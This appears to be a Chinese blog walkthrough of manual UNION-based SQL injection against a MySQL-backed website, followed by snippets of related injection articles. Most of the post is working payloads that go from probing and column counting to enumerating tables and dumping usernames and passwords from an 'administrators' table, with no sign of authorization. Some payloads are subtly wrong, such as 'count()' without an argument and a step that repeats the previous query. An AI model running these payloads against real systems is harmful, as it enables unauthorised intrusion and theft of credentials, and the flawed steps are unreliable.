记手工SQL数字回显型注入

VSole2021-08-17 16:54:46

前言

已经检测出该网站有sql注入问题,试着手工注入网站,顺便再复习一下。

正文

1.先通过引号 判断该网站为数字型,payload直接拼接,无需引号闭合,当网站后直接构造拼接 and 0# 网站文章列表内容受到影响显示空白,此为回显类型注入

payload:and 0#

2.进行字段数的猜解,确定回显位

字段数猜解通过payload:ORDER BY X # 对X字段进行回显字段值猜解,此网站X=6时,网站显示正常则确定回显字段数为6

构造payload:UNION SELECT 1,2,3,4,5,6# 确定回显位为2,6选择其一即可

确定回显位:payload:UNION SELECT 1,2,3,4,5,6#

3.进网站进行信息收集payload:UNION SELECT 1,database(),3,4,5,6# 对第二位字段进行函数替换可收集网站数据库相关信息如:version() 数据库版本信息 @@basedirmysql安装路径等

4.获取表数量,通过上一步得到mysql数据库版本大于5.1,可以通过MySQL的information_schema数据库进行数据获取

payload:UNION SELECT 1,count(),3,4,5,6 FROM information_schema.tables WHERE table_schema=database() #

5.获取表名

payload:UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema=database() #

6.获取数据库表字段数

payload:UNION SELECT 1,count(),3,4,5,6 FROM information_schema.columns WHERE table_schema=database() and table_name='administrators' #

7.获取数据库表字段名

payload:UNION SELECT 1,count(*),3,4,5,6 FROM information_schema.columns WHERE table_schema=database() and table_name='administrators' #

8.获取表数据

payload:UNION SELECT 1,group_concat(concat(id,name,password)),3,4,5,6 FROM administrators LIMIT 0,1 #

说明

以mysql数据库,数字回显类型进行sql手工注入流程,仅供参考

sql注入select
本作品采用《CC 协议》,转载必须注明作者和本文链接
SQL注入速查表
2022-07-29 09:22:37
现在仅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分样例都不能保证每一个场景都适用。现实场景由于各种插入语、不同的代码环境以及各种不常见甚至奇特的SQL语句,而经常发生变化。
id=3';对应的sqlselect * from table where id=3' 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 没有报错,说明存在3列爆出数据库:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出数据表:?id=1' and extractvalue--+(爆字段)?
id=1' order by 3# 没有报错,说明存在3列。id=-1' union select 1,group_concat,3 from 数据库名.数据表名--+拓展一些其他函数:system_user() 系统用户名。updatexml函数:细节问题:extractvalue()基本一样,改个关键字updatexml即可,与extractvalue有个很大的区别实在末尾注入加上,如:,而extractvalue函数末尾不加1(数值)?
sql注入原理:业务端代码从客户端接收到恶意payload之后没有进行过滤直接进行sql语句拼接并且执行造成sql注入本人正在拜读一本代码审计的书感觉非常的棒,刚刚好室友在挑战自己,就顺便整理一下知识点!看了一下也没问题,继续往下走,发现室友mybatis里的sql全部是使用$拼接的!
在云SQL上获取shell
2022-07-18 17:00:27
云上的关系数据库服务,它是由 Google 保护、监控和更新的SQL、PostgreSQL 或 MySQL的服务器。托管 MySQL 实例的限制由于Cloud SQL是一项完全托管的服务,因此用户无权访问某些功能。在MySQL中,SUPER权限保留用于系统管理相关任务,FILE权限用于读取/写入运行 MySQL服务器上的文件。
代码审计,说白了就是白盒测试,审查代码检查是否有安全问题,核心就两点:跟踪用户输入数据+敏感函数参数回溯。
未正确验证用户输入的应用程序使它们容易受到 SQL 注入的攻击。SQL 注入攻击 发生在攻击者能够通过操纵用户输入数据将一系列恶意 SQL 语句插入“查询”以供后端数据库执行时。使用这种类型的威胁,应用程序可以很容易地被黑客入侵并被攻击者窃取机密数据。
我见过的流量分析类型的题目总结: 一,ping 报文信息? 二,上传/下载文件 三,sql注入攻击 四,访问特定的加密解密网站 五,后台扫描+弱密码爆破+菜刀 六,usb流量分析 七,WiFi无线密码破解 八,根据一组流量包了解黑客的具体行为例题:一,ping 报文信息?如果是菜刀下载文件的流量,需要删除分组字节流前开头和结尾的X@Y字符,否则下载的文件会出错。
SQL手工注入总结
2021-11-11 08:19:35
虽说目前互联网上已经有很多关于 sql 注入的神器了,但是在这个 WAF 横行的时代,手工注入往往在一些真实环境中会显得尤为重要。本文主要把以前学过的知识做个总结,不会有详细的知识解读,类似于查询手册的形式,便于以后的复习与查阅,文中内容可能会存在错误,望师傅们斧正!
VSole
网络安全专家